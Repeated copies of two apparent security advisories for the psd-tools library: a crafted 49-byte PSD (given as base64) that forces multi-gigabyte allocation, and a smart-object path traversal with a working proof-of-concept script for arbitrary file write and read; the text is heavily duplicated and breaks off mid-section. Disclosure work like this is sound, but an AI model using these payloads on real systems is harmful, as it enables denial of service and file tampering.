Summary

PSDImage.composite() (and .numpy()) allocate the output image buffer from the PSD's header geometry (width × height × channels × depth, and per-layer rectangles) before validating those values against the actual file contents. A tiny crafted PSD declaring huge dimensions causes a multi-gigabyte allocation. Critically, composite() then returns a (black) image with only a warning, no exception is raised, so a caller cannot detect or guard against it.

Impact

On psd-tools 1.17.2 (latest), default usage, a 49-byte PSD makes composite() commit ~3 GB and return successfully (warning only); .numpy() reaches ~7.5 GB, and the per-layer rectangle is a second lever (up to ~32 GB), all from an input under 100 bytes (input-to-commit amplification over 1000×). Because the buffer is committed before validation and no exception is thrown, any service that composites untrusted PSDs is exposed to denial of service: on a host with less RAM than the attacker-declared geometry the allocation is an unrecoverable OOM-kill.

Steps to reproduce

# pip install psd-tools==1.17.2
from psd_tools import PSDImage
psd = PSDImage.open("psd-psdtools-grammar-d23.psd")
psd.composite()   # commits ~3 GB from a 49-byte file and returns (warning only)

PoC (49 bytes), reconstruct with:

base64 -d > psd-psdtools-grammar-d23.psd <<'EOF'
OEJQUwABAAAAAAAAAAYAACg4AAAXTAAIAAMAAAAAAAAAAAAAAAAAAUNIUIFU+yQtDw==
EOF

Verify:

7d8ebf03a54393cb0359ecf4b676d1b08c9a8c6afdd06671ef406d6893cce826  psd-psdtools-grammar-d23.psd

Root cause

The composite/numpy buffer is sized from the declared image (and per-layer) dimensions and channel/depth without checking them against the available data length or a sane maximum.

Suggested fix

Validate the declared dimensions, channel count, and per-layer rectangles against the actual file length (and a configurable maximum pixel/byte budget) before allocating; raise an error on overflow instead of committing the buffer and returning a black image.

Summary

PSDImage.composite() (and .numpy()) allocate the output image buffer from the PSD's header geometry (width × height × channels × depth, and per-layer rectangles) before validating those values against the actual file contents. A tiny crafted PSD declaring huge dimensions causes a multi-gigabyte allocation. Critically, composite() then returns a (black) image with only a warning, no exception is raised, so a caller cannot detect or guard against it.

Impact

On psd-tools 1.17.2 (latest), default usage, a 49-byte PSD makes composite() commit ~3 GB and return successfully (warning only); .numpy() reaches ~7.5 GB, and the per-layer rectangle is a second lever (up to ~32 GB), all from an input under 100 bytes (input-to-commit amplification over 1000×). Because the buffer is committed before validation and no exception is thrown, any service that composites untrusted PSDs is exposed to denial of service: on a host with less RAM than the attacker-declared geometry the allocation is an unrecoverable OOM-kill.

Steps to reproduce

# pip install psd-tools==1.17.2
from psd_tools import PSDImage
psd = PSDImage.open("psd-psdtools-grammar-d23.psd")
psd.composite()   # commits ~3 GB from a 49-byte file and returns (warning only)

PoC (49 bytes), reconstruct with:

base64 -d > psd-psdtools-grammar-d23.psd <<'EOF'
OEJQUwABAAAAAAAAAAYAACg4AAAXTAAIAAMAAAAAAAAAAAAAAAAAAUNIUIFU+yQtDw==
EOF

Verify:

7d8ebf03a54393cb0359ecf4b676d1b08c9a8c6afdd06671ef406d6893cce826  psd-psdtools-grammar-d23.psd

Root cause

The composite/numpy buffer is sized from the declared image (and per-layer) dimensions and channel/depth without checking them against the available data length or a sane maximum.

Suggested fix

Validate the declared dimensions, channel count, and per-layer rectangles against the actual file length (and a configurable maximum pixel/byte budget) before allocating; raise an error on overflow instead of committing the buffer and returning a black image.

Summary

PSDImage.composite() (and .numpy()) allocate the output image buffer from the PSD's header geometry (width × height × channels × depth, and per-layer rectangles) before validating those values against the actual file contents. A tiny crafted PSD declaring huge dimensions causes a multi-gigabyte allocation. Critically, composite() then returns a (black) image with only a warning, no exception is raised, so a caller cannot detect or guard against it.

Impact

On psd-tools 1.17.2 (latest), default usage, a 49-byte PSD makes composite() commit ~3 GB and return successfully (warning only); .numpy() reaches ~7.5 GB, and the per-layer rectangle is a second lever (up to ~32 GB), all from an input under 100 bytes (input-to-commit amplification over 1000×). Because the buffer is committed before validation and no exception is thrown, any service that composites untrusted PSDs is exposed to denial of service: on a host with less RAM than the attacker-declared geometry the allocation is an unrecoverable OOM-kill.

Steps to reproduce

# pip install psd-tools==1.17.2
from psd_tools import PSDImage
psd = PSDImage.open("psd-psdtools-grammar-d23.psd")
psd.composite()   # commits ~3 GB from a 49-byte file and returns (warning only)

PoC (49 bytes), reconstruct with:

base64 -d > psd-psdtools-grammar-d23.psd <<'EOF'
OEJQUwABAAAAAAAAAAYAACg4AAAXTAAIAAMAAAAAAAAAAAAAAAAAAUNIUIFU+yQtDw==
EOF

Verify:

7d8ebf03a54393cb0359ecf4b676d1b08c9a8c6afdd06671ef406d6893cce826  psd-psdtools-grammar-d23.psd

Root cause

The composite/numpy buffer is sized from the declared image (and per-layer) dimensions and channel/depth without checking them against the available data length or a sane maximum.

Suggested fix

Validate the declared dimensions, channel count, and per-layer rectangles against the actual file length (and a configurable maximum pixel/byte budget) before allocating; raise an error on overflow instead of committing the buffer and returning a black image.

Summary

PSDImage.composite() (and .numpy()) allocate the output image buffer from the PSD's header geometry (width × height × channels × depth, and per-layer rectangles) before validating those values against the actual file contents. A tiny crafted PSD declaring huge dimensions causes a multi-gigabyte allocation. Critically, composite() then returns a (black) image with only a warning, no exception is raised, so a caller cannot detect or guard against it.

Impact

On psd-tools 1.17.2 (latest), default usage, a 49-byte PSD makes composite() commit ~3 GB and return successfully (warning only); .numpy() reaches ~7.5 GB, and the per-layer rectangle is a second lever (up to ~32 GB), all from an input under 100 bytes (input-to-commit amplification over 1000×). Because the buffer is committed before validation and no exception is thrown, any service that composites untrusted PSDs is exposed to denial of service: on a host with less RAM than the attacker-declared geometry the allocation is an unrecoverable OOM-kill.

Steps to reproduce

# pip install psd-tools==1.17.2
from psd_tools import PSDImage
psd = PSDImage.open("psd-psdtools-grammar-d23.psd")
psd.composite()   # commits ~3 GB from a 49-byte file and returns (warning only)

PoC (49 bytes), reconstruct with:

base64 -d > psd-psdtools-grammar-d23.psd <<'EOF'
OEJQUwABAAAAAAAAAAYAACg4AAAXTAAIAAMAAAAAAAAAAAAAAAAAAUNIUIFU+yQtDw==
EOF

Verify:

7d8ebf03a54393cb0359ecf4b676d1b08c9a8c6afdd06671ef406d6893cce826  psd-psdtools-grammar-d23.psd

Root cause

The composite/numpy buffer is sized from the declared image (and per-layer) dimensions and channel/depth without checking them against the available data length or a sane maximum.

Suggested fix

Validate the declared dimensions, channel count, and per-layer rectangles against the actual file length (and a configurable maximum pixel/byte budget) before allocating; raise an error on overflow instead of committing the buffer and returning a black image.

psd-tools: arbitrary file write/read via smart-object path traversal

Summary

In psd-tools (all releases exposing the SmartObject API through v1.17.0), SmartObject.save() writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted .psd can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or ../-traversing), outside its intended output directory.

A secondary issue in SmartObject.open() for external-kind smart objects allows the attacker-controlled fullPath descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.

Details

Write path — SmartObject.save() (primary)

src/psd_tools/api/smart_object.py:170-179 (tag v1.17.0):

def save(self, filename: str | None = None) -> None:
    if filename is None:
        filename = self.filename          # untrusted, straight from the file
    with open(filename, "wb") as f:
        f.write(self.data)                # attacker-controlled bytes

self.filename comes from the file with no validation — the filename property (:62-67) returns self._data.filename, set by the linked-layer parser at src/psd_tools/psd/linked_layer.py:100 (read_unicode_string(fp)). There is no basename, no absolute path rejection, and no .. filtering; the written contents (self.data) are likewise from the file, so the attacker controls both destination and content.

Read path — SmartObject.open() / .data for external kind (secondary)

For kind == "external", save() read file content via the data property, which called open() with no external_dir constraint. The fullPath descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause save(directory="/safe/out") to read an arbitrary readable file (e.g. /etc/passwd) and write its contents to the output directory.

Proof of concept

Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.

pip install psd-tools==1.17.0
python poc.py

poc.py builds two PSDs from the project's own placedLayer.psd fixture (included as base.psd), differing only in the embedded smart-object name — control is a bare basename, exploit is ../../PWNED-psd-tools-poc.bin — then extracts each like a consumer would:

import os, shutil, tempfile
from psd_tools import PSDImage
from psd_tools.constants import Tag

MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"
NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}

def craft(name, out):
    psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))
    uuid = next(l.smart_object.unique_id for l in psd.descendants()
                if l.kind == "smartobject" and l.smart_object.kind == "data")
    for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):
        for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:
            if item.uuid.strip("\x00") == uuid:
                item.filename, item.data = name, MARKER
    psd.save(out)

def extract(psd_path, outdir, watch):
    psd = PSDImage.open(psd_path)
    before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    cwd = os.getcwd(); os.chdir(outdir)
    try:
        for l in psd.descendants():
            if l.kind == "smartobject" and l.smart_object.kind == "data":
                l.smart_object.save()
    finally:
        os.chdir(cwd)
    after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    return sorted(after - before)

def main():
    tmp = tempfile.mkdtemp(prefix="poc_")
    try:
        escaped = {}
        for tag, name in NAMES.items():
            psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)
            so = next(l.smart_object for l in PSDImage.open(psd).descendants()
                      if l.kind == "smartobject" and l.smart_object.kind == "data")
            print(f"[{tag}] parsed embedded name = {so.filename!r}")
            outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)
            written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)
            esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc
            for w in written:
                print(f"[{tag}] wrote {w}  {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")
        ok = (not escaped["control"] and escaped["exploit"]
              and all(open(w, "rb").read() == MARKER for w in escaped["exploit"]))
        print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced")
        return 0 if ok else 1
    finally:
        shutil.rmtree(tmp, ignore_errors=True)

raise SystemExit(main())

Output (psd-tools 1.17.0):

[control] parsed embedded name = 'embedded-export.bin'
[control] wrote .../poc_*/control/app/extracted/embedded-export.bin  inside output dir
[exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin'
[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin  OUTSIDE output dir

VERDICT: ARBITRARY FILE WRITE CONFIRMED

An absolute embedded name (e.g. /home/user/.bashrc) is honoured the same way.

Impact

Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via SmartObject.save() can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.

For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.

Severity

Moderate for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.

Patch

Fixed in v1.17.1 (PR #657). Changes to src/psd_tools/api/smart_object.py:

• save(): strips directory components from the embedded name via os.path.basename(), writes only into a caller-supplied directory (defaults to CWD), and verifies the resolved path stays inside that directory via os.path.realpath() + os.path.commonpath(). A new external_dir parameter is propagated to open() for external-kind objects to constrain the read source.
• open(): when external_dir is provided, a fullPath resolving outside it is silently ignored (falls through to relPath); a relPath escaping the directory raises ValueError.

Weaknesses

CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).

Resources

• Fix PR: https://github.com/psd-tools/psd-tools/pull/657
• Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1
• Affected source (tag v1.17.0): src/psd_tools/api/smart_object.py:170-179 (sink), :62-67 (untrusted filename); src/psd_tools/psd/linked_layer.py:100 (source).
• Distinct in class from the published advisories (GHSA-24p2-j2jr-386w — compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The save() write logic is unchanged since the SmartObject API was introduced, so all releases exposing it are affected.

Summary

PSDImage.composite() (and .numpy()) allocate the output image buffer from the PSD's header geometry (width × height × channels × depth, and per-layer rectangles) before validating those values against the actual file contents. A tiny crafted PSD declaring huge dimensions causes a multi-gigabyte allocation. Critically, composite() then returns a (black) image with only a warning, no exception is raised, so a caller cannot detect or guard against it.

Impact

On psd-tools 1.17.2 (latest), default usage, a 49-byte PSD makes composite() commit ~3 GB and return successfully (warning only); .numpy() reaches ~7.5 GB, and the per-layer rectangle is a second lever (up to ~32 GB), all from an input under 100 bytes (input-to-commit amplification over 1000×). Because the buffer is committed before validation and no exception is thrown, any service that composites untrusted PSDs is exposed to denial of service: on a host with less RAM than the attacker-declared geometry the allocation is an unrecoverable OOM-kill.

Steps to reproduce

# pip install psd-tools==1.17.2
from psd_tools import PSDImage
psd = PSDImage.open("psd-psdtools-grammar-d23.psd")
psd.composite()   # commits ~3 GB from a 49-byte file and returns (warning only)

PoC (49 bytes), reconstruct with:

base64 -d > psd-psdtools-grammar-d23.psd <<'EOF'
OEJQUwABAAAAAAAAAAYAACg4AAAXTAAIAAMAAAAAAAAAAAAAAAAAAUNIUIFU+yQtDw==
EOF

Verify:

7d8ebf03a54393cb0359ecf4b676d1b08c9a8c6afdd06671ef406d6893cce826  psd-psdtools-grammar-d23.psd

Root cause

The composite/numpy buffer is sized from the declared image (and per-layer) dimensions and channel/depth without checking them against the available data length or a sane maximum.

Suggested fix

Validate the declared dimensions, channel count, and per-layer rectangles against the actual file length (and a configurable maximum pixel/byte budget) before allocating; raise an error on overflow instead of committing the buffer and returning a black image.

psd-tools: arbitrary file write/read via smart-object path traversal

Summary

In psd-tools (all releases exposing the SmartObject API through v1.17.0), SmartObject.save() writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted .psd can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or ../-traversing), outside its intended output directory.

A secondary issue in SmartObject.open() for external-kind smart objects allows the attacker-controlled fullPath descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.

Details

Write path — SmartObject.save() (primary)

src/psd_tools/api/smart_object.py:170-179 (tag v1.17.0):

def save(self, filename: str | None = None) -> None:
    if filename is None:
        filename = self.filename          # untrusted, straight from the file
    with open(filename, "wb") as f:
        f.write(self.data)                # attacker-controlled bytes

self.filename comes from the file with no validation — the filename property (:62-67) returns self._data.filename, set by the linked-layer parser at src/psd_tools/psd/linked_layer.py:100 (read_unicode_string(fp)). There is no basename, no absolute path rejection, and no .. filtering; the written contents (self.data) are likewise from the file, so the attacker controls both destination and content.

Read path — SmartObject.open() / .data for external kind (secondary)

For kind == "external", save() read file content via the data property, which called open() with no external_dir constraint. The fullPath descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause save(directory="/safe/out") to read an arbitrary readable file (e.g. /etc/passwd) and write its contents to the output directory.

Proof of concept

Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.

pip install psd-tools==1.17.0
python poc.py

poc.py builds two PSDs from the project's own placedLayer.psd fixture (included as base.psd), differing only in the embedded smart-object name — control is a bare basename, exploit is ../../PWNED-psd-tools-poc.bin — then extracts each like a consumer would:

import os, shutil, tempfile
from psd_tools import PSDImage
from psd_tools.constants import Tag

MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"
NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}

def craft(name, out):
    psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))
    uuid = next(l.smart_object.unique_id for l in psd.descendants()
                if l.kind == "smartobject" and l.smart_object.kind == "data")
    for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):
        for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:
            if item.uuid.strip("\x00") == uuid:
                item.filename, item.data = name, MARKER
    psd.save(out)

def extract(psd_path, outdir, watch):
    psd = PSDImage.open(psd_path)
    before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    cwd = os.getcwd(); os.chdir(outdir)
    try:
        for l in psd.descendants():
            if l.kind == "smartobject" and l.smart_object.kind == "data":
                l.smart_object.save()
    finally:
        os.chdir(cwd)
    after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    return sorted(after - before)

def main():
    tmp = tempfile.mkdtemp(prefix="poc_")
    try:
        escaped = {}
        for tag, name in NAMES.items():
            psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)
            so = next(l.smart_object for l in PSDImage.open(psd).descendants()
                      if l.kind == "smartobject" and l.smart_object.kind == "data")
            print(f"[{tag}] parsed embedded name = {so.filename!r}")
            outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)
            written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)
            esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc
            for w in written:
                print(f"[{tag}] wrote {w}  {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")
        ok = (not escaped["control"] and escaped["exploit"]
              and all(open(w, "rb").read() == MARKER for w in escaped["exploit"]))
        print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced")
        return 0 if ok else 1
    finally:
        shutil.rmtree(tmp, ignore_errors=True)

raise SystemExit(main())

Output (psd-tools 1.17.0):

[control] parsed embedded name = 'embedded-export.bin'
[control] wrote .../poc_*/control/app/extracted/embedded-export.bin  inside output dir
[exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin'
[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin  OUTSIDE output dir

VERDICT: ARBITRARY FILE WRITE CONFIRMED

An absolute embedded name (e.g. /home/user/.bashrc) is honoured the same way.

Impact

Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via SmartObject.save() can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.

For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.

Severity

Moderate for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.

Patch

Fixed in v1.17.1 (PR #657). Changes to src/psd_tools/api/smart_object.py:

• save(): strips directory components from the embedded name via os.path.basename(), writes only into a caller-supplied directory (defaults to CWD), and verifies the resolved path stays inside that directory via os.path.realpath() + os.path.commonpath(). A new external_dir parameter is propagated to open() for external-kind objects to constrain the read source.
• open(): when external_dir is provided, a fullPath resolving outside it is silently ignored (falls through to relPath); a relPath escaping the directory raises ValueError.

Weaknesses

CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).

Resources

• Fix PR: https://github.com/psd-tools/psd-tools/pull/657
• Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1
• Affected source (tag v1.17.0): src/psd_tools/api/smart_object.py:170-179 (sink), :62-67 (untrusted filename); src/psd_tools/psd/linked_layer.py:100 (source).
• Distinct in class from the published advisories (GHSA-24p2-j2jr-386w — compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The save() write logic is unchanged since the SmartObject API was introduced, so all releases exposing it are affected.

Summary

PSDImage.composite() (and .numpy()) allocate the output image buffer from the PSD's header geometry (width × height × channels × depth, and per-layer rectangles) before validating those values against the actual file contents. A tiny crafted PSD declaring huge dimensions causes a multi-gigabyte allocation. Critically, composite() then returns a (black) image with only a warning, no exception is raised, so a caller cannot detect or guard against it.

Impact

On psd-tools 1.17.2 (latest), default usage, a 49-byte PSD makes composite() commit ~3 GB and return successfully (warning only); .numpy() reaches ~7.5 GB, and the per-layer rectangle is a second lever (up to ~32 GB), all from an input under 100 bytes (input-to-commit amplification over 1000×). Because the buffer is committed before validation and no exception is thrown, any service that composites untrusted PSDs is exposed to denial of service: on a host with less RAM than the attacker-declared geometry the allocation is an unrecoverable OOM-kill.

Steps to reproduce

# pip install psd-tools==1.17.2
from psd_tools import PSDImage
psd = PSDImage.open("psd-psdtools-grammar-d23.psd")
psd.composite()   # commits ~3 GB from a 49-byte file and returns (warning only)

PoC (49 bytes), reconstruct with:

base64 -d > psd-psdtools-grammar-d23.psd <<'EOF'
OEJQUwABAAAAAAAAAAYAACg4AAAXTAAIAAMAAAAAAAAAAAAAAAAAAUNIUIFU+yQtDw==
EOF

Verify:

7d8ebf03a54393cb0359ecf4b676d1b08c9a8c6afdd06671ef406d6893cce826  psd-psdtools-grammar-d23.psd

Root cause

The composite/numpy buffer is sized from the declared image (and per-layer) dimensions and channel/depth without checking them against the available data length or a sane maximum.

Suggested fix

Validate the declared dimensions, channel count, and per-layer rectangles against the actual file length (and a configurable maximum pixel/byte budget) before allocating; raise an error on overflow instead of committing the buffer and returning a black image.

psd-tools: arbitrary file write/read via smart-object path traversal

Summary

In psd-tools (all releases exposing the SmartObject API through v1.17.0), SmartObject.save() writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted .psd can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or ../-traversing), outside its intended output directory.

A secondary issue in SmartObject.open() for external-kind smart objects allows the attacker-controlled fullPath descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.

Details

Write path — SmartObject.save() (primary)

src/psd_tools/api/smart_object.py:170-179 (tag v1.17.0):

def save(self, filename: str | None = None) -> None:
    if filename is None:
        filename = self.filename          # untrusted, straight from the file
    with open(filename, "wb") as f:
        f.write(self.data)                # attacker-controlled bytes

self.filename comes from the file with no validation — the filename property (:62-67) returns self._data.filename, set by the linked-layer parser at src/psd_tools/psd/linked_layer.py:100 (read_unicode_string(fp)). There is no basename, no absolute path rejection, and no .. filtering; the written contents (self.data) are likewise from the file, so the attacker controls both destination and content.

Read path — SmartObject.open() / .data for external kind (secondary)

For kind == "external", save() read file content via the data property, which called open() with no external_dir constraint. The fullPath descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause save(directory="/safe/out") to read an arbitrary readable file (e.g. /etc/passwd) and write its contents to the output directory.

Proof of concept

Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.

pip install psd-tools==1.17.0
python poc.py

poc.py builds two PSDs from the project's own placedLayer.psd fixture (included as base.psd), differing only in the embedded smart-object name — control is a bare basename, exploit is ../../PWNED-psd-tools-poc.bin — then extracts each like a consumer would:

import os, shutil, tempfile
from psd_tools import PSDImage
from psd_tools.constants import Tag

MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"
NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}

def craft(name, out):
    psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))
    uuid = next(l.smart_object.unique_id for l in psd.descendants()
                if l.kind == "smartobject" and l.smart_object.kind == "data")
    for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):
        for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:
            if item.uuid.strip("\x00") == uuid:
                item.filename, item.data = name, MARKER
    psd.save(out)

def extract(psd_path, outdir, watch):
    psd = PSDImage.open(psd_path)
    before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    cwd = os.getcwd(); os.chdir(outdir)
    try:
        for l in psd.descendants():
            if l.kind == "smartobject" and l.smart_object.kind == "data":
                l.smart_object.save()
    finally:
        os.chdir(cwd)
    after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    return sorted(after - before)

def main():
    tmp = tempfile.mkdtemp(prefix="poc_")
    try:
        escaped = {}
        for tag, name in NAMES.items():
            psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)
            so = next(l.smart_object for l in PSDImage.open(psd).descendants()
                      if l.kind == "smartobject" and l.smart_object.kind == "data")
            print(f"[{tag}] parsed embedded name = {so.filename!r}")
            outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)
            written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)
            esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc
            for w in written:
                print(f"[{tag}] wrote {w}  {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")
        ok = (not escaped["control"] and escaped["exploit"]
              and all(open(w, "rb").read() == MARKER for w in escaped["exploit"]))
        print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced")
        return 0 if ok else 1
    finally:
        shutil.rmtree(tmp, ignore_errors=True)

raise SystemExit(main())

Output (psd-tools 1.17.0):

[control] parsed embedded name = 'embedded-export.bin'
[control] wrote .../poc_*/control/app/extracted/embedded-export.bin  inside output dir
[exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin'
[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin  OUTSIDE output dir

VERDICT: ARBITRARY FILE WRITE CONFIRMED

An absolute embedded name (e.g. /home/user/.bashrc) is honoured the same way.

Impact

Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via SmartObject.save() can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.

For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.

Severity

Moderate for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.

Patch

Fixed in v1.17.1 (PR #657). Changes to src/psd_tools/api/smart_object.py:

• save(): strips directory components from the embedded name via os.path.basename(), writes only into a caller-supplied directory (defaults to CWD), and verifies the resolved path stays inside that directory via os.path.realpath() + os.path.commonpath(). A new external_dir parameter is propagated to open() for external-kind objects to constrain the read source.
• open(): when external_dir is provided, a fullPath resolving outside it is silently ignored (falls through to relPath); a relPath escaping the directory raises ValueError.

Weaknesses

CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).

Resources

• Fix PR: https://github.com/psd-tools/psd-tools/pull/657
• Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1
• Affected source (tag v1.17.0): src/psd_tools/api/smart_object.py:170-179 (sink), :62-67 (untrusted filename); src/psd_tools/psd/linked_layer.py:100 (source).
• Distinct in class from the published advisories (GHSA-24p2-j2jr-386w — compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The save() write logic is unchanged since the SmartObject API was introduced, so all releases exposing it are affected.

Summary

PSDImage.composite() (and .numpy()) allocate the output image buffer from the PSD's header geometry (width × height × channels × depth, and per-layer rectangles) before validating those values against the actual file contents. A tiny crafted PSD declaring huge dimensions causes a multi-gigabyte allocation. Critically, composite() then returns a (black) image with only a warning, no exception is raised, so a caller cannot detect or guard against it.

Impact

On psd-tools 1.17.2 (latest), default usage, a 49-byte PSD makes composite() commit ~3 GB and return successfully (warning only); .numpy() reaches ~7.5 GB, and the per-layer rectangle is a second lever (up to ~32 GB), all from an input under 100 bytes (input-to-commit amplification over 1000×). Because the buffer is committed before validation and no exception is thrown, any service that composites untrusted PSDs is exposed to denial of service: on a host with less RAM than the attacker-declared geometry the allocation is an unrecoverable OOM-kill.

Steps to reproduce

# pip install psd-tools==1.17.2
from psd_tools import PSDImage
psd = PSDImage.open("psd-psdtools-grammar-d23.psd")
psd.composite()   # commits ~3 GB from a 49-byte file and returns (warning only)

PoC (49 bytes), reconstruct with:

base64 -d > psd-psdtools-grammar-d23.psd <<'EOF'
OEJQUwABAAAAAAAAAAYAACg4AAAXTAAIAAMAAAAAAAAAAAAAAAAAAUNIUIFU+yQtDw==
EOF

Verify:

7d8ebf03a54393cb0359ecf4b676d1b08c9a8c6afdd06671ef406d6893cce826  psd-psdtools-grammar-d23.psd

Root cause

The composite/numpy buffer is sized from the declared image (and per-layer) dimensions and channel/depth without checking them against the available data length or a sane maximum.

Suggested fix

Validate the declared dimensions, channel count, and per-layer rectangles against the actual file length (and a configurable maximum pixel/byte budget) before allocating; raise an error on overflow instead of committing the buffer and returning a black image.

psd-tools: arbitrary file write/read via smart-object path traversal

Summary

In psd-tools (all releases exposing the SmartObject API through v1.17.0), SmartObject.save() writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted .psd can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or ../-traversing), outside its intended output directory.

A secondary issue in SmartObject.open() for external-kind smart objects allows the attacker-controlled fullPath descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.

Details

Write path — SmartObject.save() (primary)

src/psd_tools/api/smart_object.py:170-179 (tag v1.17.0):

def save(self, filename: str | None = None) -> None:
    if filename is None:
        filename = self.filename          # untrusted, straight from the file
    with open(filename, "wb") as f:
        f.write(self.data)                # attacker-controlled bytes

self.filename comes from the file with no validation — the filename property (:62-67) returns self._data.filename, set by the linked-layer parser at src/psd_tools/psd/linked_layer.py:100 (read_unicode_string(fp)). There is no basename, no absolute path rejection, and no .. filtering; the written contents (self.data) are likewise from the file, so the attacker controls both destination and content.

Read path — SmartObject.open() / .data for external kind (secondary)

